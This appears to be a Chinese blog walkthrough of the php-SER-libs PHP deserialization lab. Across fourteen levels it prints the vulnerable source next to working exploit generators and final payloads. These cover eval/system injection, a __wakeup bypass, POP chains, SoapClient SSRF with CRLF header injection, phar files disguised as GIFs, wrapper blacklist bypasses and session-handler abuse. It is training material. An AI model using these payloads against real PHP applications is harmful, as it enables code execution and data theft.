php-SER-libs-main反序列化靶场通关详细思路

21 篇文章 0 订阅

目录

说明

第一关----基础序列化

第二关----__construct与__destruct

第三关----cookie传参

第四关----create_fucntion

第五关----__wakeup

第六关----私有属性

第七关----__call

 第八关----增量逃逸

第九关----pop链构造

第十关----原生类反序列化soap

第十一关----phar反序列化

第十二关----phar黑名单绕过

第十三关----session可控时

第十四关----session不可控时

感谢


说明

首先是先清楚靶场的php版本

第一关----基础序列化

<?php
highlight_file(__FILE__);
class a{
    var $act;
    function action(){
        eval($this->act);
    }
}
$a=unserialize($_GET['flag']);
$a->action();
?> 

一个很基础的反序列过程

对输入的flag进行反序列化,再调用action的方法

然后解释eval任意执行

第二关----__construct与__destruct

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=unserialize($_GET['param']);
if($a->login())
{
    echo $flag;
}
?>  

 这里出现的了一个魔术方法__construct

__construct : 在创建对象时候初始化对象。

__destruct : 当对象所在函数调用完毕后执行一般用于对变量赋初值

或者在对象被销毁的时候触发 

 当我们序列化时使用new函数实例化类的时候就会触发

 

第三关----cookie传参

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
    echo $flag;
}
?>

本关于对比上一关只是传参形式不同,只是换成用cookie传

也可以用抓包修改cookie 

第四关----create_fucntion

本关涉及到create_fucntion方法要变换php版本,可以使用phpstudy 2018--php 7. 1.13

<?php 
highlight_file(__FILE__);
class func
{
        public $key;
        public function __destruct()
        {        
                unserialize($this->key)();
        } 
}

class GetFlag
{       public $code;
        public $action;
        public function get_flag(){
            $a=$this->action;
            $a('', $this->code);
        }
}

unserialize($_GET['param']);

?> 

 本题进行反序列化后就没有操作了,但出现方法__destruct

会在反序列化后触发到该方法处,而该方法又是对key进行反序列化

这里还用到一个php特性------Array

当array内包裹的第一个值是对象,第二个是对象内的方法时

在反序列化后会调用该对象的方法

 所以就可以利用这个特性调用到getflag这个方法,至于如何读取到flag就要用到前面说的create_fucntion

class GetFlag
{
    public $code;
    public $action;
    public function get_flag(){
        $a=$this->action;
        $a('', $this->code);
    }
}

这里写

<?php
class func
{
        public $key;
        public function __destruct()
        {        
                unserialize($this->key)();
        } 
}

class GetFlag
{       public $code;
        public $action;
        public function get_flag(){
            $a=$this->action;
            $a('', $this->code);
        }
} 
$a2=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a2->key=serialize(array($b,"get_flag"));
echo urlencode(serialize($a2));
?>

action是写入create_function为下面创造方法

code是为了闭合方法再进行文件包含读取flag

 

第五关----__wakeup

 本关版本调为5.5.38

<?php
    class secret{
        var $file='index.php';

        public function __construct($file){
            $this->file=$file;
        }

        function __destruct(){
            include_once($this->file);
            echo $flag;
        }

        function __wakeup(){
            $this->file='index.php';
        }
    }
    $cmd=$_GET['cmd'];
    if (!isset($cmd)){
        echo show_source('index.php',true);
    }
    else{
        if (preg_match('/[oc]:\d+:/i',$cmd)){
            echo "Are you daydreaming?";
        }
        else{
            unserialize($cmd);
        }
    }
    //sercet in flag.php
?> 

这里在secret中有三个方法,其中_wakeup

当__wakeup() 反序列化恢复对象之前调用该方法

但在该版本下存在一个绕过该方法的漏洞CVE-2016-7124

在序列化后的字符串中类的数值比实践个数数组大的时候就不会触发__wakeup

另外

该代码还对传入的参数进行了正则匹配

 也就算是出现

o:数字  或者   c:数字

就会直接终止,所以我们就要绕过这个匹配,在序列化后也就是在0:6中6的前面加上一个符号使其不被匹配上所以就有了payload

<?php
class secret{
    var $file='index.php';

    public function __construct($file){
        $this->file=$file;
        echo $flag;
    }

    function __destruct(){
        include_once($this->file);
    }

    function __wakeup(){
        $this->file='index.php';
    }
}
$pa=new secret('flag.php');
echo serialize($pa),"\n";//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
$cmd=urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
echo $cmd;
?>

 

第六关----私有属性

<?php
highlight_file(__FILE__);
class secret{
    private $comm;
    public function __construct($com){
        $this->comm = $com;
    }
    function __destruct(){
        echo eval($this->comm);
    }
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?> 

 本关对输入的param进行了一个%的过滤,而且类中的属性的变量是私有属性

private属性序列化的时候格式是 %00类名%00成员名

所以要用\00代替%00实现绕过

payload生成 

<?php
class secret{
    private $comm;
    public function __construct($com){
        $this->comm = $com;
    }
    function __destruct(){
        echo eval($this->comm);
    }
} 
$pa=new secret("system('sort flag.php');");
echo serialize($pa),"\n";

 生成

O:6:"secret":1:{s:12:"secretcomm";s:24:"system('sort flag.php');";}

 这里因为%00被url解码后是不可见字符,所以要在类名左右加上\00且要将上面的小写s改成S

与小写"s"不同,大写"S"表示键名或属性名是区分大小写的。

O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}


第七关----__call

<?php
highlight_file(__FILE__);
class you
{
    private $body;
    private $pro='';
    function __destruct()
    {
        $project=$this->pro;
        $this->body->$project();
    }
}

class my
{
    public $name;

    function __call($func, $args)
    {
        if ($func == 'yourname' and $this->name == 'myname') {
            include('flag.php');
            echo $flag;
        }
    }
}
$a=$_GET['a'];
unserialize($a);
?> 

在you类中,有一个destruct方法,内将pro赋值给变量project再调用本类中的body中的project

说明body应该是一个类且project是指要调用该类内的方法

另外有一个魔术方法__call

__call :当调用对象中不存在的方法会自动调用该方法

 若要触发该方法则要利用好body调用project方法的条件

这里先是要把my类实例化到body中,而project要是my中不存在的方法,理应随便赋值但是在触发__call后call需要输入两个参数,name可以自行赋值,但是func就要在触发时就有参数,所以在给project赋值的时候应该赋参数这样在call触发后会把该不存在的方法名直接以参数的形式传入__call方法中

 所以赋值给project的就是yourname

这就可以解释答案的代码了

<?php
class you
{
    private $body;
    private $pro;
    function __construct(){
        $this->body=new my();
        $this->pro='yourname';
    }
    function __destruct()
    {
        $project=$this->pro;   //yourname
        $this->body->$project();
    }
}

class my
{
    public $name='myname';

    function __call($func, $args)
    {
        if ($func == 'yourname' and $this->name == 'myname') {
            include('flag.php');
            echo $flag;
        }
    }
}

最终payload

O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}


 第八关----增量逃逸

<?php
highlight_file(__FILE__);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}

$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?> 

本题分析,对传入的参数进行替换(这里看到flag和php替换以为是正则匹配绕过,但实际上与这个无关)

test类中有魔术方法对user这个变量进行赋值,之后就是对pass进行判断是否为escaping若是则返回flag

一开始以为改一下pass的值就可以了,但没有那么简单

由反序列化的过程可以知道,我们可以控制的只是属性,即使我们修改了pass的值在反序列化后执行代码中

class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}

还是会对pass初始化,所以不能单纯的想

这里实践是在考察增量逃逸

 增量逃逸其实是利用了序列化与反序列化的属性个数检查差异实现

class test{
    var $user='aaa";s:4:"aaaa";}';
    function __construct($user){
        $this->user=$user;
    }
}

如上面的test类,在序列化后是

O:4:test:2:{s:4:"user";s:17:"aaa";s:4:"aaaa";}";s:4:"pass";}          //红色为区分双引号

 可以看到,user中存在;}应该会像sql注入那样闭合前面的{但在序列化中是不会闭合的

在序列化中不行,在反序列化中则可以闭合{

但如果用上面的语句去反序列化在与到;}后就会停止然后对每个属性的个数数值进行检查,如果与实际的不一样则会报错,像上面数值是17但实际上双引号内的只有aaa三个数,就缺少了14个数两者不等就会报错

我们为篡改闭合后面的pass为aaaa就不能使其报错,哪用什么方法来让个数与实际相等呢?

这里就要用到前面说的替换了

$safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);

这里的作用看似在过滤,但实际上是在检测到php(不能是flag)后换成hack由3个数变到4个就增加1个了,由此我们就可以利用这个增长的个数去弥补前面闭合后缺少的个数

每给php增1个,需要增14个就写入14个php,序列化后:

 O:4:test:2:{s:4:"user";s:17:"phpphp....php";s:4:"aaaa";}";s:4:"pass";} 

 这样在反序列化中检查时就满足数值与实际个数相等就不会报错,进而实现对pass的篡改

总的来说,增量逃逸就是利用代码中的替换使得前后个数存在差异实现的

由此可以推测减量逃逸也是一样方法

补充:所谓的逃逸内容就是要修改的内容 

至此我们就可以利用增量逃逸来修改pass的内容

<?php
highlight_file(__FILE__);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$a=new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}');
//$a=new test('1');  O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"daydream";}
//逃逸内容:
//";s:4:"pass";s:8:"escaping";}
//计算需要链:
//phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
$param=serialize($a);
echo $param,"\n";

$profile=unserialize(filter($param));
echo $profile->pass,"\n";
if ($profile->pass=='escaping'){
    echo 1;
}
?>

最终payload

O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}


第九关----pop链构造

<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

 这里出现很多的魔术方法

__invoke()    当一个类被当作函数执行时调用此方法。
 
__construct   在创建对象时调用此方法
 
__toString()  在一个类被当作字符串处理时调用此方法
 
__wakeup()    当反序列化恢复成对象时调用此方法
 
__get()       当读取不可访问或不存在的属性的值会被调用

具体可以看:

(2条消息) 反序列化之魔术方法的浅学习_反序列化魔术方法_quan9i的博客-CSDN博客

 这里就是要构造pop链,构造链先找到头和尾

头如果不好找就先从尾溯头,尾很明显是incude的文件包含的函数,所在的方法append上一个是由__invoke调用的

能触发__invoke的方法就观察有能调用的方法的地方,可发现__get方法内可以调用函数

而能触发__get方法的地方就要找可以读取属性的地方,可发现__tostring内可读取属性

而能够触发__tostring的地方也就只有show这个类(即本方法所在类)

这就要将show类以字符串的形式赋值给自己(show类)的source属性

至此就找到头的位置即show类

所以得出下面的答案:

<?php
class Modifier {
    private $var="flag.php";
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;    //这是个调用函数p的方式
        return $function();
    }
}
$a=new Modifier();
$b=new show();
$c=new Test();

$b->source=$b;  //把show类当成字符串赋值给属性source从而触发to_string
$b->source->str=$c; //b类中的source类中的str赋值为Test类,当调用该类中不存在的属性source时触发get
$c->p=$a;//p是Modifier类,当这个类被当成函数调用的时候就会触发该类内的invoke

echo urlencode(serialize($b));//序列化的是$b,$b中没有construct所以不会被触发
?>

最终payload:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

 pop链的构造可参考:

php反序列化之pop链构造_php反序列化pop链_XiLitter的博客-CSDN博客

其次是:

PHP之序列化与反序列化(POP链篇)_php反序列化pop链_errorr0的博客-CSDN博客


第十关----原生类反序列化soap

本关需要开启soap拓展且php版本在5.6

找到配置文件 php-ini

 开始分析题目

 本题中,当然可以将参数直接传递给flag.php,但不建议使用此方法来学习SOAP。

既然本题是要考察soap就要先了解什么是soap

(1条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客

浅析php反序列化原生类的利用_php反序列化利用原生类_Christ1na的博客-CSDN博客

SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换

本题就是要构造ssrf

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。 

 还要利用crlf注入漏洞(\r\n)

CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。

 本题要求post发送数据包需要将Content-Type设置为application/x-www-form-urlencoded

<?php
$post_data='pass=password';
$data_len=strlen($post_data);
$a = new SoapClient(null,array('location'=>'http://shiyan/SER/level10/flag.php','user_agent'=>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '.$data_len.'^^^^'.$post_data,'uri'=>'bbba'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);//将^^改为\r\n
$b = str_replace('&','&',$b);
echo urlencode($b);

location处实现的是将原Content-Type挤下去再写入post传参的Content-Type在Content-Length之后用两次\r\n原来的Content-Type被挤到post传参的部分(因为HTTP报文的结构:状态行和首部中的每行以CRLF(\r\n)结束,首部与主体(本题就是post的传递内容)之间由一空行分隔。)同post_data一起被post

最后在终端运行该代码

 

 直接访问flag.txt


第十一关----phar反序列化

php.ini中改成phar.readonly=Off(若有分号则去掉)  

本题还有一个缺陷,在本文件中的leve11文件内要新建一个名为upload的文件夹

<?php
highlight_file(__FILE__);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
if (isset($filename)){
    echo is_dir($filename);
} 

 分析代码得得知:

题目给了一个post的file可以控参数

现在是没有unserialize()函数来反序列化

这里就需要用到phar文件来实现反序列化

phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启

这里参考这篇博客:

Phar反序列化漏洞的应用介绍 (qq.com)

PHP反序列化漏洞(最全面最详细有例题)_php反序列化漏洞cve_Harder.的博客-CSDN博客

运用phar文件上传再利用phar伪协议调用上面的TestObject

首先就是要生成一个phar文件

<?php
class TestObject {
}

@unlink("phar1.phar");
$phar = new Phar("phar1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//GIF89a是增加gif文件头,伪造文件类型
$o = new TestObject();//自定义的meta-data内容,本题是为了调用TestObject类所以要实例化
$phar->setMetadata($o);//将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加需要压缩的文件
$phar->stopBuffering();//签名自动计算
?>

 生成phar1.phar文件后改成gif格式

 

 回到level11目录直接post进行phar伪协议

伪协议可参考这篇博客:

ctf-web:PHP伪协议 - 学安全的小白 - 博客园 (cnblogs.com)

其次是

(1条消息) 文件包含之——phar伪协议_phar协议_西蛤一扎ミ(・・)ミ的博客-CSDN博客

 file=phar://upload/生成的压缩文件/被压缩的原文件

上传的payload为:

file=phar://upload/phar1.gif/test.txt

 对phar的学习还参考了:

利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

(3条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客

php反序列化完整总结 - 先知社区 (aliyun.com)


第十二关----phar黑名单绕过

<?php
highlight_file(__FILE__);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
$boo1=1;
$black_list=['php','file','glob','data','http','ftp','zip','https','ftps','phar'];
//黑名单过滤
foreach($black_list as $item){
    $front=substr($filename,0,strlen($item));
    if ($front==$item){
        $boo1=0;
    }
}
if (isset($filename) and $boo1){
    echo md5_file($filename);
}
//upload.php
?> 

与上一关类似,本关多了对post的过滤

正常的phar伪协议是不行的

当phar被过滤的情况下可以使用下列协议实现绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

 由于黑名单上有zip和php所以使用的payload为:

compress.zlib://phar://upload/test.gif/test.txt

 本题在phar:后是//而不是///但参考别的师傅的博客都是///这里不知道为什么


第十三关----session可控时

客户端session:

客户端 session 导致的安全问题 | 离别歌 (leavesongs.com) 

<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
    public $name;
    public $her;
    function __wakeup(){
        $this->name=$this->her=md5(rand(1, 10000));
        if ($this->name===$this->her){
            include('flag.php');
            echo $flag;
        }
    }
}
?> 

在hint中

 <?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?> 

在index.php中就一个Flag类中存在一个__wakeup魔术方法

方法内形同虚设,相当于触发了方法直接返回flag

哪触发wakeup需要反序列化,这里没unserialize函数且没有文件上传

但hint中发现对session是可控的且在hint.php下session的引擎格式是php_serialize

默认情况下session处理引擎是php

此外了解一下ini_set这个函数

ini_set设置php.ini指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

 也就是说只有在hint.php下时是对session处理的引擎是php_serialize

其他php文件下还是默认php引擎

这里参考这篇博客:

(3条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客

 中有当不同引擎处理session时会产生漏洞

php引擎的存储格式是键名|serialized_string,而php_serialize引擎的存储格式是serialized_string

当在php_serialize的引擎储存格式下创建session然后处理(验证)session时会把"  |  "当成一个正常的字符。而在php引擎储存格式下处理(验证)同一个session的时会把"  |  " 当成键与值的分割符然后对分割符后面的值进行反序列化

所以当我们在自定义session中在序列化语句前加上  然后再访问index.php这时,在index.php下服务器验证session的时候因为是php引擎储存格式,所以会对session中  |  后的内容进行反序列化,从而触发了wakeup魔术方法得到flag

 最终的payload:

|O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;}

在hint.php中GET传入payload

再访问index.php 

总结:

当我们可以控制session时且存在不同引擎储存格式的时候可以利用该漏洞实现反序列化


第十四关----session不可控时

本关需要调试的内容挺多

session.auto_start=0;
session.serialize_handler = php_serialize;
session.upload_progress.enabled = On;
session.upload_progress.cleanup = Off;
session.upload_progress.prefix = "upload_progress_";
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS";<br>session.upload_progress.freq =  "1%";
session.upload_progress.min_freq = "1";

按照上述在php.ini中依次设置好,前面有分号的去掉

 <?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');
session_start();

class test{
    public $name;
    function __destruct(){
        if($this->name=='flag'){
            include('flag.php');
            echo $flag;
        }
        else{
            phpinfo();
        }
    }
} 

本题与上一题考点大体思路是一样的,只不过上一题的session是可控的可以写入键值,本题不能直接写入,这里要介绍另一个可以控制session建值的方法

主要利用的是session.upload_progress.enabled 当该设置为on 的时候,在向服务器上传任意一个文件的时候php会把该上传文件的详细信息(如上传时间,文件名等)储存在session中,而当我们以POST形式传入名为PHP_SESSION_UPLOAD_PROGRESS的变量时,传入的文件名会被储存到session中(也是filename的值赋值到session中)

 利用这个我们就可以写入恶意序列化语句再利用上一关的原理(引擎储存格式差异)来实现语句的反序列化

在实现反序列化后就会触发__destruct魔术方法从而得到flag

 方法步骤:

1. 构造序列化语句

<?php
class test{
    public $name="flag";
    function __destruct(){
        if($this->name=='flag'){
            include('flag.php');
            echo $flag;
        }
        else{
            phpinfo();
        }
    }
} 
$a=new test();
echo serialize($a);

 2.写一个文件上传的html

创建文本写入代码 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<form id="upload-form" action="http://127.0.0.1/php-SER-libs-main/level14/" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="test"/>
        上传文件…
        <input name="file1" type="file" />
        <input type="submit" value="上传"/>
    </form>

改成html尾缀,这里的变量名一定要是PHP_SESSION_UPLOAD_PROGRESS

3.打开html任意上传一个文件并抓包

修改filename为

|O:4:\"test\":1:{s:4:\"name\";s:4:\"flag\";}

 这里的反斜杠是转义filename内容中双引号防止与外部的双引号闭合,前面的竖线则是键与值的分割符

本菜一直有一个疑惑,如果在真正的题目中是要通过phpinfo才能知道session.upload_progress.enabled是否开启,但在这题中如果不通过配置文件又是如何知道已经开启了呢?或者说本题源码也说明触发destruct后变量name不等于flag时会访问phpinfo,但是既然能触发destruct不也就已经知道了session.upload_progress.enabled是开启的了吗?

参考博客:

(1条消息) $_session无法存储变量怎么回事_PHP-Session利用总结_weixin_39716971的博客-CSDN博客

(1条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客 

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户 


感谢

感谢博主:这周末在做梦

(1条消息) 这周末在做梦的博客_CSDN博客-原理实验,wp篇,SSRF领域博主

让本菜从靶场中认识到反序列化基础知识

  • 18
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场为安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
USB2.0-SER 340驱动是一种USB转串口的驱动程序。它用于将USB接口转换为串口接口,使计算机能够通过USB端口与串口设备进行通信。 安装USB2.0-SER 340驱动的步骤如下: 1. 首先,插入USB2.0-SER 340转换器到计算机的USB端口上。 2. 系统会自动检测到新的硬件设备,并试图自动安装驱动程序。如果自动安装失败,我们需要进行手动驱动安装。 3. 打开设备管理器,在“其他设备”或“未知设备”下找到该设备。 4. 右键点击设备,选择“更新驱动程序”。 5. 在弹出的向导窗口中选择“从计算机的设备驱动程序列表中选择”。 6. 点击“浏览”按钮,找到已经下载好的USB2.0-SER 340驱动文件。 7. 完成驱动安装后,设备管理器中的该设备应该没有黄色感叹号或问号。 8. 现在,计算机就可以通过USB端口与串口设备进行通信了。 USB2.0-SER 340驱动的安装使得计算机能够兼容串口设备,例如打印机、调制解调器等。同时,这种驱动还提供了高速的数据传输速率,可提高设备的响应时间和传输效率。 需要注意的是,在安装USB2.0-SER 340驱动之前,我们需要确认驱动的兼容性。有时,厂商会提供特定的驱动程序,我们可以通过他们的官方网站或支持中心获得最新且兼容的驱动。此外,我们还应该确保操作系统与驱动之间的兼容性,以保证设备能够正常工作。 总之,USB2.0-SER 340驱动是一种使计算机与串口设备进行通信的重要驱动程序。通过按照上述步骤安装驱动,我们可以兼容USB转串口设备,并享受高速的数据传输效率。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sharpery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值